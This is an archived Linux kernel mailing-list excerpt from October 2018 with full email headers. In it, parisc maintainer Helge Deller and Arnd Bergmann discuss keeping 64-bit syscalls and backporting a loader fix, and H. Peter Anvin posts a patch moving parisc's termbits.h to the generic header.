 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <CAK8P3a3HCBY8+xK_o50aswFsrb1EVCFATV4zwqfNqHUDqtDa_w@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K1:xh4G6BaK3uyhGJm2G+ZrC5wJdnFvFtkAzkXtzwC6H+RncqXrmN1
 F13orY+FsxQ/oyNxtWzU6+iSfiXfUytwixkGChDMDwRpgoauszpbVEe5OBpUPYSLG09SzYz
 QxrbxYDd6EyA82xmw7v7KRJ0uwQZo1HjMHf8zfO3WylwBUxlxpUpex0UrENU40fSnlPUzjA
 JuupMXeB/HQ32RKUYVZjg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:YR5lmSaEtn0=:YTObMd+7+86GljSITaLbSn
 SVDeaddlVCz68rptWjlyuq3DyJRLlecjbA8MJq1ohNsKM+O2Ofh2PWbSiekk1u5TqNOKg7vUs
 nIAtPJUnfBB5sjmXN8QrVSg5b7d8uUpP4UssY0PAlAxug134un48TlzuTSxIy+CeYLubWL2T7
 gSTvGXebx2GcV261L7wRHqdU9ESEmJMiU5fRIanuMW9xwdLZs1gGlIckM9tnS4iqn4TD/Z8ee
 lx/ubLz4hpXYrwTygxlgXHC5gndcmQ87J0DNBcBn3W+0qQAF1hagkhwxYL2rTdask3KZRLqCK
 qKKLhuWb5qpUN4WfpPmtXHBHS+jSm5D2y6A/QZzdQIOtywcI69WiDcD9TpTK+IfHKmAdZ7fYn
 8GJR+pLcFIOqTVuy5vX4zJ/MCD6imvcjGoGJHLjDbXp5Ype+XHnzpg5plAqYTKwf9H/bGaxCV
 JHabz9F/ykLt9CvfQ54HG9SrhaNHc0hKmk22ZxO09aI8u6eDxLQ7mk1By4VsA0DkhnmDCRrGe
 FhxhbAI/UyqRq49yBUCkAfVVK1Eaieb+HHGfj0huWHBAizW/prGFpz9czYlxsrE+tmntolD0H
 Wvg+aqUSNX0yz++E6OSej+47wlEt+XateLd2olGFRu9kWUd798gj5XM8NJHsZhg7AXOPTHYUg
 Hlv5KtbLXrForSEPSh9c2jRYNljHfZTOQvdu3Kp7cwRelNv8PxsHc8HdLJa8pIi3jStodoNA8
 z9PFPZDcQwZ8KQUTkCRGCiHnQW+HDEJJ2om+L5ujEe7h1Rx0FHY9oqfTAuv8LMYG0Q10izg6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2890149 gmane.linux.ports.parisc:29082
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2890149>

On 04.10.2018 15:34, Arnd Bergmann wrote:
> On Thu, Oct 4, 2018 at 10:42 AM Helge Deller <deller@gmx.de> wrote:
>> On 04.10.2018 01:02, gregkh wrote:
>>> On Wed, Oct 03, 2018 at 09:49:08PM +0200, Arnd Bergmann wrote:
>>>> On Wed, Oct 3, 2018 at 8:16 PM Greg Kroah-Hartman
>>>> <gregkh@linuxfoundation.org> wrote:
>>>>> On Wed, Oct 03, 2018 at 04:47:30PM +0200, Helge Deller wrote:
>>>>>> On 03.10.2018 00:24, Greg Kroah-Hartman wrote:
>>>>>>> On Tue, Oct 02, 2018 at 11:46:11PM +0200, Helge Deller wrote:
>>>> Or to put it another way: If the argument is
>>>> that there won't ever be a 64-bit user space for parisc
>>
>> FYI, I was planning to try a 64-bit user space at some point.
>> Just see my recent patches and mails, e.g.
>> b6fc0cccb6b35815a7d1cfc9279cdbfc2c61d00d
>> 5b00ca0b8035e49ef7c466e959c5cb457a654351
>> and
>> https://www.spinics.net/lists/linux-parisc/msg09070.html
>>
>>>> and we don't care about it,
>>
>> I (and a few others) do care about it.
>>
>>>> then we'd be better of removing all native 64-bit
>>>> syscalls from arch/parisc/kernel/syscall_table.S.
>>>
>>> Ok, then let's treat this like any other arch/driver/subsystem that we
>>> remove.  Drop the file(s) in a -rc1 merge window and then if anyone
>>> object to it later on because they really were using it, you can easily
>>> revert that change.
>>
>> As a maintainer of this port, I object to this.
>> You suggest to remove a working, functional and maintained interface for no good use.
>> Removing it won't save lots of bytes in the executable (or source code)
>> but will make my life as maintainer harder.
> 
> Makes sense. I was basing my thoughts on the observation that
> nobody did this in the last 18 years that he port has been around,
> but if you still plan to do this, then we should not regress.
> 
> What is your current estimate for how many more patches
> are required to get it working reasonably well? 

I'm not aware of missing functionality which requires additional patches
for the Linux kernel.
It's userspace which needs work, e.g. binutils needs to be fixed
to get multiple stub section support, and glibc.

> Did you plan
> to have commit 5b00ca0b8035 ("parisc: Restore possibility
> to execute 64-bit applications") backported to stable kernels,
> or just get it working in future versions?

A backport of this patch is not needed.
The patch fixes the 64-bit loader which I broke a few days before 
when I switched to the generic binfmt implementation with commit
71d577db01a5 ("parisc: Switch to generic COMPAT_BINFMT_ELF").

> I suppose we either want to backport that patch and mine,
> or neither of them.

It's only your patch which I would like to backport.

Helge


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Thu, 4 Oct 2018 16:38:46 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <52a7db47-ec60-76e7-a71c-8d95c83df471@gmx.de>
References: <20181002210213.GA17826@ls3530.fritz.box>
 <20181002211645.GA6454@kroah.com>
 <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de>
 <20181002222452.GB11788@kroah.com>
 <dbfa0162-8ed1-b16e-a418-da3b92c76230@gmx.de>
 <20181003181612.GB28575@kroah.com>
 <CAK8P3a2ntPX4+LbYWJbDG1k-8NwkhyY0nYk-mfZU2FBF_h23Yw@mail.gmail.com>
 <20181003230226.GB27729@kroah.com>
 <ed8a12d5-604f-c938-f65d-051e05561dc6@gmx.de>
 <CAK8P3a3HCBY8+xK_o50aswFsrb1EVCFATV4zwqfNqHUDqtDa_w@mail.gmail.com>
 <9ba92a5e-c447-f894-5263-3d7220716f87@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1538663812 8754 195.159.176.226 (4 Oct 2018 14:36:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 14:36:52 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: gregkh <gregkh@linuxfoundation.org>,
        Linus Torvalds <torvalds@linux-foundation.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        James.Bottomley@hansenpartnership.com,
        John David Anglin <dave.anglin@bell.net>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 16:36:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g84kB-00028X-3a
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 16:36:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727726AbeJDVcb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 17:32:31 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:44129 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727322AbeJDVca (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 17:32:30 -0400
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M8MyE-1flkhG0Vgg-00w00j; Thu, 04
 Oct 2018 16:38:48 +0200
Original-Received: from [10.95.173.99] ([155.56.40.73]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M8MyE-1flkhG0Vgg-00w00j; Thu, 04
 Oct 2018 16:38:48 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <9ba92a5e-c447-f894-5263-3d7220716f87@gmx.de>
Content-Language: en-US
X-Provags-ID: V03:K1:610es2IC3Vx+koP5Mb1DktbTI3511qHweyUfR4K0IGeXrJAcuNR
 aJ/ibJjKkiDCxOJC5ZdREOXE6gkRqaAyPx5gLemr3V3wKlBd7BzGz8usf8LqfNonDJiGtQT
 FjAgCea1HnYShwlwXTQ7e/DSnauQEcyosIXVKVTsPA+9VNe4zmXhjhc7HqBXetW+fNT6kNS
 yTVmTkBQjqTN4S7AGKiHg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:OpnWdpY2Y90=:BZreqjqYGASak3mtWvhL20
 /AhLjFXuJsi42j9sWLXt0L8yc9bEtgCeMXTmdDz1YWW03YpTOQfuw9j9a2aXmwYcjt8CK7Z/D
 I1K9FgS2bMzpU/5QZyFuApgPpKDixSv2fHULejYsY/VMnqgfJxRj9zfpza12I2xCBdX59UGdr
 /7PrZ99DjDtao7Uoeb/SGDAuMMyrPbiJuC/vgvJXP+NBBDBD+N+0anA67A9ykPJM4ojQjvLgG
 nDrQsQIWV7f6w0mCLDJ58ZsCnQGe7HS1E1yy6dKtfo/qUFgRi7+8xAtqae+yc3TCl+7bG0TIY
 MEz2auavxcwexsE3INexkdf4OSIQIfghXyaYa645ewp/XV9bLvH3LzCUwknuBsoJI9VLNVLfV
 tgadtVuxvBqD2YunOQGKSuQF2AUDYJW8ToZyrXb3gE9qlHpyscVANTo0vgcIXta6MDyXKXrCy
 UikLN39q1uCo+K6C8V4+pPHKwxDMqYvsxYwg7epWaMh6kL7gNKz3JhXjGKDwnP+EVybjvbH38
 ssopKo63EVgU56yAW7/NX1QgVrx4LTSfR+rxMNGUpBEyJGo99NfEe0x7MXFU8UqrYoEh1QLsw
 8M/V8w1qpMla8CagbPPIi8St+EhL9/rVLiTfrrcr//7ShYSUw2ea5wdKx8afQK/bghs9Z7UcP
 50Iy4+pOylWN8/wLCuk5tpl54Jyrxp0+x8/8LoHNvsIdIMPhYzKB2w1F38Vz7bGYpueMyfFyV
 i0Coed4r0N4jrWKI7EICNugkzTFk4KouJI2nolF47UvF5sm9tvBiJGUZ7BEh01ZU7bsPZda7 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2890154 gmane.linux.ports.parisc:29083
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2890154>

On 04.10.2018 16:30, Helge Deller wrote:
> On 04.10.2018 15:34, Arnd Bergmann wrote:
>> On Thu, Oct 4, 2018 at 10:42 AM Helge Deller <deller@gmx.de> wrote:
>>> On 04.10.2018 01:02, gregkh wrote:
>>>> On Wed, Oct 03, 2018 at 09:49:08PM +0200, Arnd Bergmann wrote:
>>>>> On Wed, Oct 3, 2018 at 8:16 PM Greg Kroah-Hartman
>>>>> <gregkh@linuxfoundation.org> wrote:
>>>>>> On Wed, Oct 03, 2018 at 04:47:30PM +0200, Helge Deller wrote:
>>>>>>> On 03.10.2018 00:24, Greg Kroah-Hartman wrote:
>>>>>>>> On Tue, Oct 02, 2018 at 11:46:11PM +0200, Helge Deller wrote:
>>>>> Or to put it another way: If the argument is
>>>>> that there won't ever be a 64-bit user space for parisc
>>>
>>> FYI, I was planning to try a 64-bit user space at some point.
>>> Just see my recent patches and mails, e.g.
>>> b6fc0cccb6b35815a7d1cfc9279cdbfc2c61d00d
>>> 5b00ca0b8035e49ef7c466e959c5cb457a654351
>>> and
>>> https://www.spinics.net/lists/linux-parisc/msg09070.html
>>>
>>>>> and we don't care about it,
>>>
>>> I (and a few others) do care about it.
>>>
>>>>> then we'd be better of removing all native 64-bit
>>>>> syscalls from arch/parisc/kernel/syscall_table.S.
>>>>
>>>> Ok, then let's treat this like any other arch/driver/subsystem that we
>>>> remove.  Drop the file(s) in a -rc1 merge window and then if anyone
>>>> object to it later on because they really were using it, you can easily
>>>> revert that change.
>>>
>>> As a maintainer of this port, I object to this.
>>> You suggest to remove a working, functional and maintained interface for no good use.
>>> Removing it won't save lots of bytes in the executable (or source code)
>>> but will make my life as maintainer harder.
>>
>> Makes sense. I was basing my thoughts on the observation that
>> nobody did this in the last 18 years that he port has been around,
>> but if you still plan to do this, then we should not regress.
>>
>> What is your current estimate for how many more patches
>> are required to get it working reasonably well? 
> 
> I'm not aware of missing functionality which requires additional patches
> for the Linux kernel.
> It's userspace which needs work, e.g. binutils needs to be fixed
> to get multiple stub section support, and glibc.
> 
>> Did you plan
>> to have commit 5b00ca0b8035 ("parisc: Restore possibility
>> to execute 64-bit applications") backported to stable kernels,
>> or just get it working in future versions?
> 
> A backport of this patch is not needed.
> The patch fixes the 64-bit loader which I broke a few days before 
> when I switched to the generic binfmt implementation with commit
> 71d577db01a5 ("parisc: Switch to generic COMPAT_BINFMT_ELF").

Actually, to be correct here, backporting my commit 5b00ca0b8035
to v4.17, v4.18 and v4.19 would be the right thing.

>> I suppose we either want to backport that patch and mine,
>> or neither of them.

Agreed. Both would be best.

Helge


From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin (Intel)" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 4/5] arch/parisc, termios: use <asm-generic/termios.h>
Date: Thu,  4 Oct 2018 15:29:52 -0700
Lines: 231
Approved: news@gmane.org
Message-ID: <20181004222953.2229-5-hpa@zytor.com>
References: <20181004222953.2229-1-hpa@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538692098 16145 195.159.176.226 (4 Oct 2018 22:28:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 22:28:18 +0000 (UTC)
Cc: "H. Peter Anvin (Intel)" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, Jiri Slaby <jslaby@suse.com>
To: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 05 00:28:13 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g8C6P-00042h-DU
	for glk-linux-kernel-4@m.gmane.org; Fri, 05 Oct 2018 00:28:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728160AbeJEFZx (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 5 Oct 2018 01:25:53 -0400
Original-Received: from mga17.intel.com ([192.55.52.151]:23017 "EHLO mga17.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727852AbeJEFZw (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 5 Oct 2018 01:25:52 -0400
X-Amp-Result: SKIPPED(no attachment in message)
X-Amp-File-Uploaded: False
Original-Received: from fmsmga004.fm.intel.com ([10.253.24.48])
  by fmsmga107.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 04 Oct 2018 15:30:15 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.54,341,1534834800"; 
   d="scan'208";a="94741770"
Original-Received: from hanvin-mobl2.amr.corp.intel.com ([10.254.189.220])
  by fmsmga004.fm.intel.com with ESMTP; 04 Oct 2018 15:30:03 -0700
X-Mailer: git-send-email 2.14.4
In-Reply-To: <20181004222953.2229-1-hpa@zytor.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2890557 gmane.linux.kernel.cross-arch:47403 gmane.linux.serial:30732 gmane.linux.ports.parisc:29084
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2890557>

The PARISC  definition of termbits.h is almost identical to the generic
one, so use the generic one and only redefine a handful of constants.

Signed-off-by: H. Peter Anvin (Intel) <hpa@zytor.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Kate Stewart <kstewart@linuxfoundation.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Philippe Ombredanne <pombredanne@nexb.com>
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: <linux-parisc@vger.kernel.org>
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Jiri Slaby <jslaby@suse.com>
---
 arch/parisc/include/uapi/asm/termbits.h | 197 +-------------------------------
 1 file changed, 4 insertions(+), 193 deletions(-)

diff --git a/arch/parisc/include/uapi/asm/termbits.h b/arch/parisc/include/uapi/asm/termbits.h
index 40e920f8d683..28ce9067f2e0 100644
--- a/arch/parisc/include/uapi/asm/termbits.h
+++ b/arch/parisc/include/uapi/asm/termbits.h
@@ -2,201 +2,12 @@
 #ifndef __ARCH_PARISC_TERMBITS_H__
 #define __ARCH_PARISC_TERMBITS_H__
 
-#include <linux/posix_types.h>
+#include <asm-generic/termbits.h>
 
-typedef unsigned char	cc_t;
-typedef unsigned int	speed_t;
-typedef unsigned int	tcflag_t;
-
-#define NCCS 19
-struct termios {
-	tcflag_t c_iflag;		/* input mode flags */
-	tcflag_t c_oflag;		/* output mode flags */
-	tcflag_t c_cflag;		/* control mode flags */
-	tcflag_t c_lflag;		/* local mode flags */
-	cc_t c_line;			/* line discipline */
-	cc_t c_cc[NCCS];		/* control characters */
-};
-
-struct termios2 {
-	tcflag_t c_iflag;		/* input mode flags */
-	tcflag_t c_oflag;		/* output mode flags */
-	tcflag_t c_cflag;		/* control mode flags */
-	tcflag_t c_lflag;		/* local mode flags */
-	cc_t c_line;			/* line discipline */
-	cc_t c_cc[NCCS];		/* control characters */
-	speed_t c_ispeed;		/* input speed */
-	speed_t c_ospeed;		/* output speed */
-};
-
-struct ktermios {
-	tcflag_t c_iflag;		/* input mode flags */
-	tcflag_t c_oflag;		/* output mode flags */
-	tcflag_t c_cflag;		/* control mode flags */
-	tcflag_t c_lflag;		/* local mode flags */
-	cc_t c_line;			/* line discipline */
-	cc_t c_cc[NCCS];		/* control characters */
-	speed_t c_ispeed;		/* input speed */
-	speed_t c_ospeed;		/* output speed */
-};
-
-/* c_cc characters */
-#define VINTR 0
-#define VQUIT 1
-#define VERASE 2
-#define VKILL 3
-#define VEOF 4
-#define VTIME 5
-#define VMIN 6
-#define VSWTC 7
-#define VSTART 8
-#define VSTOP 9
-#define VSUSP 10
-#define VEOL 11
-#define VREPRINT 12
-#define VDISCARD 13
-#define VWERASE 14
-#define VLNEXT 15
-#define VEOL2 16
-
-
-/* c_iflag bits */
-#define IGNBRK	0000001
-#define BRKINT	0000002
-#define IGNPAR	0000004
-#define PARMRK	0000010
-#define INPCK	0000020
-#define ISTRIP	0000040
-#define INLCR	0000100
-#define IGNCR	0000200
-#define ICRNL	0000400
-#define IUCLC	0001000
-#define IXON	0002000
-#define IXANY	0004000
-#define IXOFF	0010000
+/* c_iflag bits that differ from the generic ABI */
+#undef IMAXBEL
 #define IMAXBEL	0040000
+#undef IUTF8
 #define IUTF8	0100000
 
-/* c_oflag bits */
-#define OPOST	0000001
-#define OLCUC	0000002
-#define ONLCR	0000004
-#define OCRNL	0000010
-#define ONOCR	0000020
-#define ONLRET	0000040
-#define OFILL	0000100
-#define OFDEL	0000200
-#define NLDLY	0000400
-#define   NL0	0000000
-#define   NL1	0000400
-#define CRDLY	0003000
-#define   CR0	0000000
-#define   CR1	0001000
-#define   CR2	0002000
-#define   CR3	0003000
-#define TABDLY	0014000
-#define   TAB0	0000000
-#define   TAB1	0004000
-#define   TAB2	0010000
-#define   TAB3	0014000
-#define   XTABS	0014000
-#define BSDLY	0020000
-#define   BS0	0000000
-#define   BS1	0020000
-#define VTDLY	0040000
-#define   VT0	0000000
-#define   VT1	0040000
-#define FFDLY	0100000
-#define   FF0	0000000
-#define   FF1	0100000
-
-/* c_cflag bit meaning */
-#define CBAUD   0010017
-#define  B0     0000000         /* hang up */
-#define  B50    0000001
-#define  B75    0000002
-#define  B110   0000003
-#define  B134   0000004
-#define  B150   0000005
-#define  B200   0000006
-#define  B300   0000007
-#define  B600   0000010
-#define  B1200  0000011
-#define  B1800  0000012
-#define  B2400  0000013
-#define  B4800  0000014
-#define  B9600  0000015
-#define  B19200 0000016
-#define  B38400 0000017
-#define EXTA B19200
-#define EXTB B38400
-#define CSIZE   0000060
-#define   CS5   0000000
-#define   CS6   0000020
-#define   CS7   0000040
-#define   CS8   0000060
-#define CSTOPB  0000100
-#define CREAD   0000200
-#define PARENB  0000400
-#define PARODD  0001000
-#define HUPCL   0002000
-#define CLOCAL  0004000
-#define CBAUDEX 0010000
-#define    BOTHER 0010000
-#define    B57600 0010001
-#define   B115200 0010002
-#define   B230400 0010003
-#define   B460800 0010004
-#define   B500000 0010005
-#define   B576000 0010006
-#define   B921600 0010007
-#define  B1000000 0010010
-#define  B1152000 0010011
-#define  B1500000 0010012
-#define  B2000000 0010013
-#define  B2500000 0010014
-#define  B3000000 0010015
-#define  B3500000 0010016
-#define  B4000000 0010017
-#define CIBAUD    002003600000		/* input baud rate */
-#define CMSPAR    010000000000          /* mark or space (stick) parity */
-#define CRTSCTS   020000000000          /* flow control */
-
-#define IBSHIFT	16		/* Shift from CBAUD to CIBAUD */
-
-
-/* c_lflag bits */
-#define ISIG    0000001
-#define ICANON  0000002
-#define XCASE   0000004
-#define ECHO    0000010
-#define ECHOE   0000020
-#define ECHOK   0000040
-#define ECHONL  0000100
-#define NOFLSH  0000200
-#define TOSTOP  0000400
-#define ECHOCTL 0001000
-#define ECHOPRT 0002000
-#define ECHOKE  0004000
-#define FLUSHO  0010000
-#define PENDIN  0040000
-#define IEXTEN  0100000
-#define EXTPROC	0200000
-
-/* tcflow() and TCXONC use these */
-#define	TCOOFF		0
-#define	TCOON		1
-#define	TCIOFF		2
-#define	TCION		3
-
-/* tcflush() and TCFLSH use these */
-#define	TCIFLUSH	0
-#define	TCOFLUSH	1
-#define	TCIOFLUSH	2
-
-/* tcsetattr uses these */
-#define	TCSANOW		0
-#define	TCSADRAIN	1
-#define	TCSAFLUSH	2
-
 #endif
-- 
2.14.4



From - Thu Nov 08 21:42:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin (Intel)" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.serial,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: [PATCH 0/5] termios: remove arch redundancy in <asm/termbits.h>
Date: Thu,  4 Oct 2018 15:29:48 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20181004222953.2229-1-hpa@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538692100 16223 195.159.176.226 (4 Oct 2018 22:28:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2018 22:28:20 +0000 (UTC)
Cc: "H. Peter Anvin (Intel)" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Arnd Bergmann <arnd@arndb.de>, Chris Zankel <chris@zankel.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Helge Deller <deller@gmx.de>, James Hogan <jhogan@kernel.org>,
        Jiri Slaby <jslaby@suse.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Burton <paul.burton@mips.com>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linux-xtensa@linux-xtensa.org
To: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 05 00:28:13 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g8C6O-00042h-T1
	for glk-linux-kernel-4@m.gmane.org; Fri, 05 Oct 2018 00:28:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728107AbeJEFZw (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 5 Oct 2018 01:25:52 -0400
Original-Received: from mga17.intel.com ([192.55.52.151]:23017 "EHLO mga17.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1727835AbeJEFZv (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 5 Oct 2018 01:25:51 -0400
X-Amp-Result: SKIPPED(no attachment in message)
X-Amp-File-Uploaded: False
Original-Received: from fmsmga004.fm.intel.com ([10.253.24.48])
  by fmsmga107.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 04 Oct 2018 15:30:15 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.54,341,1534834800"; 
   d="scan'208";a="94741865"
